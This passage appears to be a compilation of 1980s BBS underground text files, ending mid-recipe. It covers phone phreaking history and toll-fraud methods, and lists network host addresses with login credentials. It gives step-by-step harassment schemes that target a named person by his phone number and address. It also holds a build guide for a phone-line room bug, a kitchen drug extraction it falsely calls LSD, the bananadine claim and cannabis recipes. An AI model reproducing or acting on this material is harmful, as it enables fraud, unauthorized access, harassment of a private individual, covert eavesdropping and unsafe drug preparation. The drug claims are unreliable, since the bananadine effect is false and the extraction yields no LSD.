YOU WON'T BE BILLED, NOT HAVE TO BLAST 2600 EVERY TIME YOU WISH TO BOX A CALL.
A FAMOUS BRITISH 'FIDDLER' REVEALED IN THE EARLY 1970S WORKED BY DIALING 173.
THE CALLER THEN ADDED THE TRUNK CODE OF 1 AND THE SUBSCRIBERS LOCAL NUMBER. AT
THAT TIME, MOST ENGINEERING TEST SERVICES BEGAN WITH 17X, SO THE ENGINEERS
COULD HIDE THEIR FIDDLES IN THE NEST OF SERVICE WIRES. WHEN SECURITY REPS
STARTED SEARCHING, THE FIDDLES WERE CONCEALED BY TONES SIGNALLING: 'NUMBER
UNOBTAINALBE' OR 'EQUIPMENT ENGAGED' WHICH SWITCHED OFF AFTER A DELAY. THE
NECESSARY RELAYS ARE SMALL AND EASILY HIDDEN.
THERE WAS ANOTHER SIDE TO PHREAKING IN THE UK IN THE SIXTIES. BEFORE STD WAS
WIDESPREAD, MANY 'ORDINARY' PEOPLE WERE DRIVEN TO.
OCCASIONAL PHREAKING FROM SHEER FRUSTRATION AT THE INEFFICIENT OPERATOR
CONTROLLED TRUNK SYSTEM. THIS CAME TO A HEAD DURING A STRIKE ABOUT 1961 WHEN
OPERATORS COULD NOT BE REACHED. NOTHING COMPLICATED WAS NEEDED. MANY
OPERATORS HAD BEEN IN THE HABIT OF REPEATING THE CODES AS THEY DIALLED THE
REQUESTED NUMBERS SO PEOPLE SOON LEARNT THE NUMBERS THEY CALLED FREQUENTLY.
THE ONLY 'TRICK' WAS TO KNOW WHICH EXCHANGES COULD BE DIALLED THROUGH TO PASS
ON THE TRUNK NUMBER.CALLERS ALSO NEEDED A PRETTY QUIET PLACE TO DO IT, SINCE
TIMING RELATIVE TO CLICKS WAS IMPORTANT THE MOST FAMOUS TRIAL OF BRITISH
PHREAKS WAS CALLED THE OLD BAILY TRIAL.#WHICH STARTED ON 3 OCT. 1973.#WHAT
THEY PHREAKS DID WAS TO DIAL A SPARE NUMBER AT A LOCAL CALL RATE BUT INVOLVING
A TRUNK TO ANOTHER EXCHANGE THEN THEY SEND A 'CLEAR FORWARD' TO THEIR LOCAL
EXCHANGE, INDICATING TO IT THAT THE CALL IS FINISHED;BUT THE DISTANT EXCHANGE
DOESN'T REALIZE BECAUSE THE CALLER'S PHONE IS STILL OFF THE HOOK. THEY NOW
HAVE AN OPEN LINE INTO THE DISTANT TRUNK EXCHANGE AND SENDS TO IT A 'SEIZE'
SIGNAL: '1' WHICH PUTS HIM ONTO ITS OUTGOING LINES NOW, IF THEY KNOW THE
CODES, THE WORLD IS OPEN TO THEM. ALL OTHER EXCHANGES TRUST HIS LOCAL EXCHANGE
TO HANDLE THE BILLING; THEY JUST INTERPRET THE TONES THEY HEAR. MEAN WHILE,
THE LOCAL EXCHANGE COLLECTS ONLY FOR A LOCAL CALL. THE INVESTIGATORS
DISCOVERED THE PHREAKS HOLDING A CONFERENCE SOMEWHERE IN ENGLAND SURROUNDED BY
VARIOUS PHONE EQUIPMENT AND BLEEPER BOXES, ALSO PRINTOUTS LISTING 'SECRET' POST
OFFICE CODES. (THEY PROBABLY GOT THEM FROM TRASHING?) THE JUDGE SAID: "SOME
TAKE TO HEROIN, SOME TAKE TO TELEPHONES" FOR THEM PHONE PHREAKING WAS NOT A
CRIME BUT A HOBBY TO BE SHARED WITH PHELLOW ENTHUSIASTS AND DISCUSSED WITH THE
POST OFFICE OPENLY OVER DINNER AND BY MAIL. THEIR APPROACH AND ATTITUDE TO THE
WORLDS LARGEST COMPUTER, THE GLOBAL TELEPHONE SYSTEM, WAS THAT OF SCIENTISTS
CONDUCTING EXPERIMENTS OR PROGRAMMERS AND ENGINEERS TESTING PROGRAMS AND
SYSTEMS. THE JUDGE APPEARED TO AGREE, AND EVEN ASKED THEM FOR PHREAKING CODES
TO USE FROM HIS LOCAL EXCHANGE!!!
(Left Untouched as I got it...-----JR)
(Same Here... '94. ----------Exodus)
_
-------->Courtesy of The Black Gate BBS<--------
Bad as Shit
Recently, a telephone fanatic in the northwest made an interesting
discovery. He was exploring the 804 area code (Virginia) and found out that
the 840 exchange did something strange.
In the vast majority of cases, in fact in all of the cases except one, he
would get a recording as if the exchange didn't exist. However, if he dialed
804-840 and four rather predictable numbers, he got a ring!
After one or two rings, somebody picked up. Being experienced at this kind
of thing, he could tell that the call didn't "supe", that is, no charges were
being incurred for calling this number.
(Calls that get you to an error message, or a special operator, generally
don't supervise.) A female voice, with a hint of a Southern accent said,
"Operator, can I help you?"
"Yes," he said, "What number have I reached?"
"What number did you dial, sir?"
He made up a number that was similar.
"I'm sorry that is not the number you reached." Click.
He was fascinated. What in the world was this? He knew he was going to
call back, but before he did, he tried some more experiments. He tried the 840
exchange in several other area codes. In some, it came up as a valid exchange.
In others, exactly the same thing happened -- the same last four digits, the
same Southern belle. Oddly enough, he later noticed, the areas worked in
seemed to travel in a beeline from Washington DC to Pittsburgh, PA.
He called back from a payphone. "Operator, can I help you?"
"Yes, this is the phone company. I'm testing this line and we don't seem to
have an identification on your circuit. What office is this, please?"
"What number are you trying to reach?"
"I'm not trying to reach any number. I'm trying to identify this circuit."
"I'm sorry, I can't help you."
"Ma'am, if I don't get an ID on this line, I'll have to disconnect it. We
show no record of it here."
"Hold on a moment, sir."
After about a minute, she came back. "Sir, I can have someone speak to you.
Would you give me your number, please?"
He had anticipated this and he had the payphone number ready. After he gave
it, she said, "Mr. XXX will get right back to you."
"Thanks." He hung up the phone. It rang. INSTANTLY! "Oh my God," he
thought, "They weren't asking for my number -- they were confirming it!"
"Hello," he said, trying to sound authoritative.
"This is Mr. XXX. Did you just make an inquiry to my office concerning a
phone number?"
"Yes. I need an identi--"
"What you need is advice. Don't ever call that number again. Forget you
ever knew it."
At this point our friend got so nervous he just hung up. He expected to
hear the phone ring again but it didn't.
Over the next few days he racked his brains trying to figure out what the
number was. He knew it was something big -- that was pretty certain at this
point. It was so big that the number was programmed into every central office
in the country. He knew this because if he tried to dial any other number in
that exchange, he'd get a local error message from his CO, as if the exchange
didn't exist.
It finally came to him. He had an uncle who worked in a federal agency. He
had a feeling that this was government related and if it was, his uncle could
probably find out what it was. He asked the next day and his uncle promised to
look into the matter.
The next time he saw his uncle, he noticed a big change in his manner. He
was trembling. "Where did you get that number?!" he shouted. "Do you know I
almost got fired for asking about it?!? They kept wanting to know where I got
it."
Our friend couldn't contain his excitement. "What is it?" he pleaded.
"What's the number?!"
"IT'S THE PRESIDENT'S BOMB SHELTER!"
He never called the number after that. He knew that he could probably cause
quite a bit of excitement by calling the number and saying something like, "The
weather's not good in Washington. We're coming over for a visit." But our
friend was smart. he knew that there were some things that were better off
unsaid and undone.
(A fucking great story from the Official Phreaker's Guide)
------------EXODUS
_
Telenet Courtesy of Exodus
Orig. by JR
It seems that not many of you know that Telenet is connected to about 80
computer-networks in the world. No, I don't mean 80 nodes, but 80 networks with
thousands of unprotected computers. When you call your local Telenet- gateway,
you can only call those computers which accept reverse-charging- calls.
If you want to call computers in foreign countries or computers in USA which
do not accept R-calls, you need a Telenet-ID. Did you ever notice that you can
type ID XXXX when being connected to Telenet? You are then asked for the
password. If you have such a NUI (Network-User-ID) you can call nearly every
host connected to any computer-network in the world. Here are some examples:
026245400090184 :Is a VAX in Germany (Username: DATEXP and leave mail for
CHRIS !!!)
0311050500061 :Is the Los Alamos Integrated computing network (One of the
hosts connected to it is the DNA (Defense Nuclear Agency)!!!)
0530197000016 :Is a BBS in New Zealand
024050256 :Is the S-E-Bank in Stockholm, Sweden (Login as GAMES !!!) :CERN in Geneva in Switzerland (one of the
biggest nuclear
research centers in the world) Login as GUEST
0234212301161 :A Videotex-standard system. Type OPTEL to get in and use the
ID 999_ with the password 9_
0242211000001 :University of Oslo in Norway (Type LOGIN 17,17 to play the
Multi-User-Dungeon !)
0425130000215 :Something like ITT Dialcom, but this one is in Israel ! ID
HELP with password HELP works fine with security level 3
0310600584401 :Is the Washington Post News Service via Tymnet (Yes, Tymnet is
connected to Telenet, too !) ID and Password is: PETER You can read the news
of the next day !
The prefixes are as follows:
02624 is Datex-P in Germany
02342 is PSS in England
03110 is Telenet in USA
03106 is Tymnet in USA
02405 is Telepak in Sweden
04251 is Isranet in Israel
02080 is Transpac in France
02284 is Telepac in Switzerland
02724 is Eirpac in Ireland
02704 is Luxpac in Luxembourg
05252 is Telepac in Singapore
04408 is Venus-P in Japan
...and so on... Some of the countries have more than one
packet-switching-network (USA has 11, Canada has 3, etc).
OK. That should be enough for the moment. As you see most of the passwords are
very simple. This is because they must not have any fear of hackers. Only a few
German hackers use these networks. Most of the computers are absolutely easy to
hack !!! So, try to find out some Telenet-ID's and leave them here. If you need
more numbers, leave e-mail.
I'm calling from Germany via the German Datex-P network, which is similar to
Telenet. We have a lot of those NUI's for the German network, but none for a
special Tymnet-outdial-computer in USA, which connects me to any phone #.
CUL8R, Mad Max
PS: Call 026245621040000 and type ID INF300 with password DATACOM to get more
Informations on packet-switching-networks !
PS2: The new password for the Washington Post is KING !!!!
_
`Fucking with the Operator courtesy of Exodus
Ever get an operator who gave you a hard time, and you didn't know
what to do? Well if the operator hears you use a little Bell jargon, she might
wise up. Here is a little diagram (excuse the artwork) of the structure of
operators
/--------\ /------\ /-----\
!Operator!-- > ! S.A. ! --->! BOS !
\--------/ \------/ \-----/
!
!
V
/-------------\
! Group Chief !
\-------------/
Now most of the operators are not bugged, so they can curse at you, if they
do ask INSTANTLY for the "S.A." or the Service Assistant. The operator does not
report to her (95% of them are hers) but they will solve most of your problems.
She MUST give you her name as she connects & all of these calls are bugged. If
the SA gives you a rough time get her BOS (Business Office Supervisor) on the
line. S/He will almost always back her girls up, but sometimes the SA will get
tarred and feathered. The operator reports to the Group Chief, and S/He will
solve 100% of your problems, but the chances of getting S/He on the line are
nill.
If a lineman (the guy who works out on the poles) or an installation man
gives you the works ask to speak to the Installation Foreman, that works
wonders.
Here is some other bell jargon, that might come in handy if you are having
trouble with the line. Or they can be used to lie your way out of
situations....
An Erling is a line busy for 1 hour, used mostly in traffic studies A
Permanent Signal is that terrible howling you get if you disconnect, but don't
hang up.
Everyone knows what a busy signal is, but some idiots think that is the
*Actual* ringing of the phone, when it just is a tone "beeps" when the phone is
ringing, wouldn't bet on this though, it can (and does) get out of sync.
When you get a busy signal that is 2 times as fast as the normal one, the
person you are trying to reach isn't really on the phone, (he might be), it is
actually the signal that a trunk line somewhere is busy and they haven't or
can't reroute your call. Sometimes you will get a Recording, or if you get
nothing at all (Left High & Dry in fone terms) all the recordings are being
used and the system is really overused, will probably go down in a little
while. This happened when Kennedy was shot, the system just couldn't handle the
calls. By the way this is called the "reorder signal" and the trunk line is
"blocked".
One more thing, if an overseas call isn't completed and doesn't generate
any money for AT&T, is is called an "Air & Water Call".
AT&T is no longer as stupid as she once was. I advise STRONG caution when
phucking with Ma Bell. -= Exodus =-
_
==Phrack Inc.==
Volume One, Issue One, Phile #4 of 8
THE PHONE PHREAK'S FRY-UM GUIDE
COMPILED BY THE IRON SOLDIER
WITH HELP FROM DR. DOVE
NOTE: THIS GUIDE IS STILL BEING COMPILED, AND AS PHONE PHREAKS LEARN MORE IN
THE ART OF VENGEANCE IT WILL ALWAYS EXPAND.
"Vengeance is mine", says the Phreak.
METHOD 1-PHONE LINE PHUN
Call up the business office. It should be listed at the front of the white
pages. Say you wanted to disconnect Scott Korman's line. DIAL 800-xxx-xxxx.
"Hello, this is Mr. Korman, I'm moving to California and would like to
have my phone service disconnected. I'm at the airport now. I'm calling from
a payphone, my number is [414] 445 5005. You can send my final bill to:
(somewhere in California). Thank you."
METHOD 2-PHONE BOOKS
Call up the business office from a pay phone. Say :
"Hello, I'd like to order a Phone Book for Upper Volta (or any out-of-the
way area with Direct Dialing). This is Scott Korman, ship to 3119 N. 44th St.
Milwaukee, WI 53216. Yes, I under stand it will cost $xx($25-$75!!). Thank
you."
METHOD 3-PHONE CALLS
Call up a PBX, enter the code and get an outside line. Then dial 0+ the number
desired to call. You will hear a bonk and then an operator. Say, "I'd like to
charge this to my home phone at 414-445-5005. Thank you." A friend and I did
this to a loser, I called him at 1:00 AM and we left the fone off the hook all
night. I calculated that it cost him $168.
METHOD 4-MISC SERVICES
Call up the business office once again from a payfone. Say you'd like call
waiting, forwarding, 3 way, etc. Once again you are the famed loser Scott
Korman. He pays-you laugh. You don't know how funny it was talking to him,
and wondering what those clicks he kept hearing were.
METHOD 5-CHANGED & UNPUB
Do the same as in #4, but say you'd like to change and unlist your (Scott's)
number. Anyone calling him will get:
"BEW BEW BEEP. The number you have reached, 445-5005, has been changed to
a non-published number. No further....."
METHOD 6-FORWRDING
This required an accomplice or two or three. Around Christmas time, go to
Toys 'R' Us. Get everyone at the customer service or manager's desk away
("Hey, could you help me"). then you get on their phone and dial (usually dial
9 first) and the business office again. This time, say you are from Toys 'R'
Us, and you'd like to add call forwarding to 445-5005. Scott will get 100-600
calls a day!!!
METHOD 7-RUSSIAN CALLER
Call a payphone at 10:00 PM. Say to the operator that you'd like to book a
call to Russia. Say you are calling from a payphone, and your number is that
of the loser to fry (e.g. 445-5005). She will say that she'll have to call ya
back in 5 hours, and you ok that. Meanwhile the loser (e.g.) Scott, will get a
call at 3:00 AM from an operator saying that the call he booked to Russia is
ready.
IF YOU HAVE ANY QUESTIONS LEAVE E-MAIL FOR ME ON ANY BOARD I'M ON.
The Iron Soldier
TSF-The Second Foundation!
-= Exodus =-
HOTWU!_
International Country Code Listing courtesy of Exodus
Orig. by JR
*UNITED KINGDOM/IRELAND
------------------------------------
IRELAND.........................353
UNITED KINGDOM...................44
*EUROPE
------------------------------------
ANDORRA..........................33
AUSTRIA..........................43
BELGIUM..........................32
CYPRUS..........................357
CZECHOLSLOVAKIA..................42
DENMARK..........................45
FINLAND.........................358
FRANCE...........................33
GERMAN DEMOCRATIC REPUBLIC.......37
GERMANY, FEDERAL REPUBLIC OF.....49
GIBRALTAR.......................350
GREECE...........................30
HUNGARY..........................36
ICELAND.........................354
ITALY............................39
LIECHTENSTEIN....................41
LUXEMBOURG......................352
MONACO...........................33
NETHERLANDS......................31
NORWAY...........................47
POLAND...........................48
PORTUGAL........................351
ROMANIA..........................40
SAN MARINO.......................39
SPAIN............................34
SWEDEN...........................46
SWITZERLAND......................41
TURKEY...........................90
VATICAN CITY.....................39
YUGOSLAVIA.......................38
*CENTRAL AMERICA
------------------------------------
BELIZE..........................501
COSTA RICA......................506
EL SALVADOR.....................503
GUATEMALA.......................502
HONDURAS........................504
NICARAGUA.......................505
PANAMA..........................507
*AFRICA
------------------------------------
ALGERIA.........................213
CAMEROON........................237
EGYPT............................20
ETHIOPIA........................251
GABON...........................241
IVORY COAST.....................225
KENYA...........................254
LESOTHO.........................266
LIBERIA.........................231
LIBYA...........................218
MALAWI..........................265
MOROCCO.........................212
NAMIBIA.........................264
NIGERIA.........................234
SENEGAL.........................221
SOUTH AFRICA.....................27
SWAZILAND.......................268
TANZANIA........................255
TUNISIA.........................216
UGANDA..........................256
ZAMBIA..........................260
ZIMBABWE........................263
*PACIFIC
------------------------------------
AMERICAN SAMOA..................684
AUSTRAILIA.......................61
BRUNEI..........................673
FIJI............................679
FRENCH POLYNESIA................689
GUAM............................671
HONG KONG.......................852
INDONESIA........................62
JAPAN............................81
KOREA, REPUBLIC OF...............82
MALAYSIA.........................60
NEW CALEDONIA...................687
NEW ZEALAND......................64
PAPUA NEW GUINEA................675
PHILIPPINES......................63
SAIPAN..........................670
SINGAPORE........................65
TAIWAN..........................886
THAILAND.........................66
*INDIAN OCEAN
------------------------------------
PAKISTAN.........................92
SRI LANKA........................94
*SOUTH AMERICA
------------------------------------
ARGENTINA........................54
BOLIVIA.........................591
BRAZIL...........................55
CHILE............................56
COLOMBIA.........................57
ECUADOR.........................593
GUYANA..........................592
PARAGUAY........................595
PERU.............................51
SURINAME........................597
URUGUAY.........................598
VENEZUELA........................58
*NEAR EAST
------------------------------------
BAHRAIN.........................973
IRAN.............................98
IRAQ............................964
ISRAEL..........................972
JORDAN..........................962
KUWAIT..........................965
OMAN............................968
QATAR...........................974
SAUDI ARABIA....................966
UNITED ARAB EMIRATES............971
YEMEN ARAB REPUBLIC.............967
*CARIBBEAN/ATLANTIC
------------------------------------
FRENCH ANTILLES.................596
GUANTANAMO BAY (US NAVY BASE)....53
HAITI...........................509
NETHERLANDS ANTILLES............599
ST. PIERRE AND MIQUELON.........508
*INDIA
------------------------------------
INDIA............................91
*CANADA
------------------------------------
TO CALL CANADA, DIAL 1 + AREA CODE +
LOCAL NUMBER.
*MEXICO
------------------------------------
TO CALL MEXICO, DIAL 011 + 52 + CITY CODE+ LOCAL NUMBER.
To dial international calls:
International Access Code + Country code + Routing code
Example :
To call Frankfurt, Germany, you would do the following:
011 + 49 + 611 + (# wanted) + # sign(octothrope)
The # sign at the end is to tell Bell that you are done entering in all the
needed info.
_
The Infinity Transmitter courtesy of Exodus
originally typed by:
<<>>
FROM THE BOOK BUILD YOUR OWN
LASER, PHASER, ION RAY GUN & OTHER WORKING SPACE-AGE PROJECTS
BY ROBERT IANNINI (TAB BOOKS INC)
Description: Briefly, the Infinity Transmitter is a device which activates a
microphone via a phone call. It is plugged into the phone line, and when the
phone rings, it will immediately intercept the ring and broadcast into the
phone any sound that is in the room. This device was originally made by
Information Unlimited, and had a touch tone decoder to prevent all who did not
know the code from being able to use the phone in its normal way. This
version, however, will activate the microphone for anyone who calls while it is
in operation.
NOTE: It is illegal to use this device to try to bug someone. It is also
pretty stupid because they are fairly noticeable.
Parts List:
Pretend that uF means micro Farad, cap= capacitor
Part # Description
---- - -----------
R1,4,8 3 390 k 1/4 watt resistor
R2 1 5.6 M 1/4 watt resistor
R3,5,6 3 6.8 k 1/4 watt resistor
R7/S1 1 5 k pot/switch
R9,16 2 100 k 1/4 watt resistor
R10 1 2.2 k 1/4 watt resistor
R13,18 2 1 k 1/4 watt resistor
R14 1 470 ohm 1/4 watt resistor
R15 1 10 k 1/4 watt resistor
R17 1 1 M 1/4 watt resistor
C1 1 .05 uF/25 V disc cap
C2,3,5,6,7 5 1 uF 50 V electrolytic cap or tant
(preferably non-polarized)
C4,11,12 3 .01 uF/50 V disc cap
C8,10 2 100 uF @ 25 V electrolytic cap
C9 1 5 uF @ 150 V electrolytic cap
C13 1 10 uF @ 25 V electrolytic cap
TM1 1 555 timer dip
A1 1 CA3018 amp array in can
Q1,2 2 PN2222 npn sil transistor
Q3 1 D4OD5 npn pwr tab transistor
D1,2 2 50 V 1 amp react. 1N4002
T1 1 1.5 k/500 matching transformer
M1 1 large crystal microphone
J1 1 Phono jack optional for sense output
WR3 (24") #24 red and black hook up wire
WR4 (24") #24 black hook up wire
CL3,4 2 Alligator clips
CL1,2 2 6" battery snap clips
PB1 1 1 3/4x4 1/2x.1 perfboard
CA1 1 5 1/4x3x2 1/8 grey enclosure fab
WR15 (12") #24 buss wire
KN1 1 small plastic knob
BU1 1 small clamp bushing
B1,2 2 9 volt transistor battery or 9V ni-cad
Circuit Operation: Not being the most technical guy in the world, and not being
very good at electronics (yet), I'm just repeating what Mr. Iannini's said
about the circuit operation. The Transmitter consists of a high grain
amplifier fed into the telephone lines via transformer. The circuit is
initiated by the action of a voltage transient pulse occurring across the
phone line at the instant the telephone circuit is made (the ring, in other
words). This transient immediately triggers a timer whose output pin 3 goes
positive, turning on transistors Q2 and Q3. Timer TM1 now remains in this
state for a period depending on the values of R17 and C13 (usually about 10
seconds for the values shown). When Q3 is turned on by the timer, a simulated
"off hook" condition is created by the switching action of Q3 connecting the
500 ohm winding of the transformer directly across the phone lines.
Simultaneously, Q2 clamps the ground of A1, amplifier, and Q1, output
transistor, to the negative return of B1,B2, therefore enabling this amplifier
section. Note that B2 is always required by supplying quiescent power to TM1
during normal conditions. System is off/on controlled by S1 (switch).
A crystal mike picks up the sounds that are fed to the first two
transistors of the A1 array connected as an emitter follower driving the
remaining two transistors as cascaded common emitters. Output of the
array now drives Q1 capacitively coupled to the 1500 ohm winding of T1.
R7 controls the pick up sensitivity of the system.
Diode D1 is forward biased at the instant of connection and essentially
applies a negative pulse at pin 2 of TM1, initiating the cycle. D2 clamps
any high positive pulses. C9 dc-isolates and desensitizes the circuit. The
system described should operate when any incoming call is made without ringing
the phone.
Schematic Diagram: Because this is text, this doesn't look too hot. Please
use a little imagination! I will hopefully get a graphics drawing of this
out as soon as I can on a Fontrix graffile.
To be able to see what everything is, this character: | should appear as a
horizontal bar. I did this on a ][e using a ][e 80 column card, so I'm sorry if
it looks kinda weird to you.
Symbols:
resistor: -/\/\/- switch: _/ _
battery: -|!|!- capacitor (electrolytic): -|(-
capacitor (disc): -||- _ _
transistor:(c) > (e) Transformer: )||(
\_/ )||(
|(b) _)||(_
diode: |<
chip: ._____.
!_____! (chips are easy to recognize!)
Dots imply a connection between wires. NO DOT, NO CONNECTION.
ie.: _!_ means a connection while _|_ means no connection.
----------------------------------------------------------------------------
.________________________to GREEN wire phone line
|
| .______________________to RED wire phone line
| |
| | ._________(M1)______________.
| | | |
| | | R1 |
| | !__________/\/\/____________!
| | | _!_ C1
| | |this wire is the amp ___
| | |<=ground | R2
| | | !___________________/\/\/_____________.
| | | ._______!_______. |
| | !___________________!4 9 11!_____________________________!
| | | | | |
| | !___________________!7 12._____________________________!
| | | | A1 | R3 |
| | !___________________!10 ____*8!_______.____/\/\/____________! ^
| | | | / | | | |
| | | C4 | / | \ |2ma
| | !____||______. | / | /R4 B1 +
| | | || | | / | \ |!|!
| | | R7 | C2 | / | / |
| | !____/\/\/___!__)|__!8*_/ | | S1 |
| | | ^ | 6!_______! neg<__/.__!
| | | | C3 | | | C5 return |
| | | !_____|(___.__!3 | '-|(-| |
| | | | | 5 1!____________! |
| | | \ !_______._______! | B2|!|!
| | !________. R8 / | | +
| | | \ | | R6 |3ma
| | | !__________!____________________|_____/\/\/______! |
| | | R5 | | | v
| | !__/\/\/___________|____________________! |
| | | | |
| | | | |
| | | C6 | |
| | | |-)|-' R9 |
| | | !_________________/\/\/_______. |
| | | | | |
| | | Q1 _!_ | R10 |
| | !____________/ \____________________________!__/\/\/_____!
| | | | |
| | | | |
| | | C8 | |
| | !__________)|_______________________________|____________!
| | ! | |
| | / | |
| | -----| | |
| | | \ | |
| | | > | |
| | | | | |
| | | | | |
| | | !_____________. | |
| | | | | |
| | !__________. | | |
| | | | | |
| !________. | | ._____! |
| | | | | |
| | | | | |
| | | | | C7 |
| | | | '-|(-| |
| |_________|_________!_______.T1._________________| |
| | | 1500 )||( 500 |
| | | ohm )||( ohm |
| | !______.)||(.__. |
| | | | |
| | | | |
| | | > |
| | | |/ |
| | | +----| Q3 |
| | | | |\ |
!____________________|_________|_______|______!__. D1 C9 |
| | | '-|<---|(------| |
.______________! | | | |
| | | | |
| .________________! | | |
| | | | |
\ | .________________! C11 | |
/ | | .___||____________! |
R13 \ | | | || | |
/ | | | | |
\ !___.___|_______________________! | |
| | | | | R16 | R15 |
| v | | !___/\/\/\________!___/\/\/_!
| neg | | | D2 | |
| return | | !_____|<__________! |
| B1,B2 | \ | | |
| | / | .____________!_. |
| | \R14 |C12 | TM1 2 | |
| | / !_||_!5 4!_______!
| | \ | || | | |
| | | !____!1 8!_______!
| | | | | 7 6 3 | |
| | | | !_____._.____._! |
| | | | | | | |
| | | | C13 | | | R17 |
| | | !___)|_____!_!____|__/\/\/__!
| | | | | |
!___________|___!_______________________|_________________! |
| | | |
| \ | C10 |
| /R18 !__________)|_______________!
| \
| /
| |
!___O J1
sense output
Construction notes: Because the damned book just gave a picture instead of step
by step instructions, and I'll try to give you as much help as possible. Note
that all the parts that you will be using are clearly labeled in the schematic.
The perfboard, knobs, 'gator clips, etc are optional. I do strongly suggest
that you do use the board!!! It will make wiring the components up much much
easier than if you don't use it.
The knob you can use to control the pot (R7). R7 is used to tune the IT so
that is sounds ok over the phone. (You get to determine what sounds good) By
changing the value of C13, you can change the amount of time that the circuit
will stay open (it cannot detect a hang up, so it works on a timer.) A value of
100 micro Farads will increase the time by about 10 times.
The switch (S1) determines whether or not the unit is operational. Closed is
on. Open is off. The negative return is the negative terminals of the battery!!
The batteries will look something like this when hooked up:
<-v_____. .______. ._____. .____->
| | | | | |
__!___!__ | | __!___!__
| + - | !_/ _! | + - |
| | switch ^ | |
| 9volts| | | 9volts|
!_______! neg return !_______!
To hook this up to the phone line, there are three ways, depending upon what
type of jack you have. If it is the old type (non modular) then you can just
open up the wall plate and connect the wires from the transmitter directly to
the terminals of the phone.
If you have a modular jack with four prongs, attach the red to the negative
prong (don't ask me which is which! I don't have that type of jack... I've only
seen them in stores), and the green to the positive prong, and plug in. Try not
to shock yourself...
If you have the clip-in type jack, get double male extension cord (one with a
clip on each end), and chop off one clip. Get a sharp knife and splice off the
grey protective material. You should see four wires, including one green and
one red. You attach the appropriate wires from the IT to these two, and plug
the other end into the wall.
Getting the IT to work: If you happen to have a problem, you should attempt to
do the following (these are common sense rules!!) Make sure that you have the
polarity of all the capacitors right (if you used polarized capacitors, that
is). Make sure that all the soldering is done well and has not short circuited
something accidently (like if you have a glob touching two wires which should
not be touching.) Check for other short circuits. Check to see if the battery
is in right. Check to make sure the switch is closed.
If it still doesn't work, drop me a line on one of the Maryland or Virginia
BBSs and I'll try to help you out.
The sense output: Somehow or other, it is possible to hook something else up to
this and activate it by phone (like an alarm, flashing lights, etc.)
As of this writing, I have not tried to make one of these, but I will. If you
actually get it working, leave me a note somewhere.
I sure hope all you people appreciate this.
_
LSD courtesy of Exodus
I think, of all the drugs on the black market today, LSD is
the strangest. It is the most recent major drug to come to
life in the psychedelic subculture. (Blah blah blah... let's
get to the good stuff: How to make it in your kitchen!!)
1) Grind up 150 grams of Morning Glory seeds or baby Hawaiian
wood rose seeds.
2) In 130 cc. of petroleum ether, soak the seeds for two days.
3) Filter the solution through a tight screen.
4) Throw away the liquid, and allow the seed mush to dry.
5) For two days allow the mush to soak in 110 cc. of wood
alcohol.
6) Filter the solution again, saving the liquid and labeling
it "1."
7) Resoak the mush in 110 cc. of wood alcohol for two
days.
8) Filter and throw away the mush.
9) Add the liquid from the second soak to the solution labeled
"1."
10) Pour the liquid into a cookie tray and allow it to
evaporate.
11) When all of the liquid has evaporated, a yellow gum
remains. This should be scraped up and put into capsules.
30 grams of Morning Glory seeds = 1 trip
15 Hawaiian wood rose seeds = 1 trip
Many companies, such as Northop-King have been coating their
seeds with a toxic chemical, which is poison. Order seeds from
a wholesaler, as it is much safer and cheaper. Hawaiian wood
rose seeds can be ordered directly from:
Chong's Nursery and Flowers
P.O. Box 2154
Honolulu, Hawaii
LSD DOSAGES
-----------
The basic dosages of acid vary according to what kind of acid
is available and what medium of ingestion is used. Chemically,
the potency of LSD-25 is measured in micrograms, or mics. If
you're chemically minded or making your own acid, then
computing the number of micrograms is very important. Usually
between 500 and 800 mics is plenty for an 8 hour trip,
depending on the quality of the acid, of course. I have heard
of people taking as much as 1,500-2,000 mics. This is not only
extremely dangerous, it is extremely wasteful.
LSD comes packaged in many different forms. The most common
are listed below:
1) The brown spot, or a piece of paper with a dried drop
of LSD on it, is always around. Usually one spot equals
one trip.
2) Capsuled acid is very tricky, as the cap can be almost
any color, size, or potency. Always ask what the acid is
cut with, as a lot of acid is cut with either speed or
strychnine. Also note dosage.
3) Small white or colored tablets have been known to
contain acid, but, as with capsuled acid, it's impossible
to tell potency, without asking.
(from the Anarchist's Cookbook IV. Re-typed up by Exodus)
_
Bananas courtesy of Exodus
Believe it or not, bananas do contain a small quantity of
_Musa Sapientum bananadine_, which is a mild, short-lasting
psychedelic. There are much easier ways of getting high, but
the great advantage to this method is that bananas are legal.
1) Obtain 15 lbs. of ripe yellow bananas.
2) Peel all 15 lbs. and eat the fruit. Save the peels.
3) With a sharp knife, scrape off the insides of the peels and
save the scraped material.
4) Put all of the scraped material in a large pot and add
water. Boil for three to four hours until it has attained a
solid paste consistency.
5) Spread this paste on cookie sheets, and dry in an over for
about 20 minutes to a half hour. This will result in a fine
black powder. Makes about one pound of bananadine powder.
Ususally one will feel the effects of bananadine after smoking
three or four cigarettes.
Table of Weights
Pounds Ounces Grams Kilos
1 16 453.6 0.4536
0.0625 1 28.35 0.0283
0.0352 1 0.001
2.205 35.27 1,000 1
(from the Anarchist's Cookbook IV. Re-typed by Exodus)
_
Yummy Marihuana Recipes courtesy of Exodus
Acapulco Green
--------------
3 ripe avocados
1/2 cup chopped onions
2 teaspoons chili powder
3 tablespoons wine vinegar
1/2 cup chopped marahuana (grass)
Mix the vinegar, grass, and chili powder together and let the
mixture stand for one hour. Then add avocados and onions and mash
it all together. It can be served with tacos or as a dip.
Pot Soup
--------
1 can condensed beef broth
3 tablespoons grass
3 tablespoons lemon juice
1/2 can water
3 tablespoons chopped watercress
Combine all ingredients in a saucepan and bring to a boil over
medium heat. Place in a refrigerator for two to three hours,
reheat, and serve.
Pork and Beans and Pot
----------------------
1 large can (1 lb. 13 oz.) pork and beans
1/2 cup grass
4 slices bacon
1/2 cup light molasses
1/2 teaspoon hickory salt
3 pineapple rings
Mix together in a casserole, cover top with pineapple and bacon,
bake at 350 degrees for about 45 minutes. Serves about six.
The Meat Ball
-------------
1 lb. hamburger
1/4 cup chopped onions
1 can cream of mushroom soup
1/4 cup bread crumbs
3 tablespoons grass
3 tablespoons India relish
Mix it all up and shape into meat balls. Brown in frying pan and
drain. Place in a casserole with soup and 1/2 cup water, cover and
cook over low heat for about 30 minutes. Feeds about four people.
Spaghetti Sauce
---------------
1 can (6 oz.) tomato paste
2 tablespoons olive oil
1/2 cup chopped onions
1/2 cup chopped grass
1 pinch pepper
1 can (6 oz.) water
1/2 clove minced garlic
1 bay leaf
1 pinch thyme
1/2 teaspoon salt
Mix in large pot, cover and simmer with frequent stirring for two
hours. Serve over spaghetti.
Pot Loaf
--------
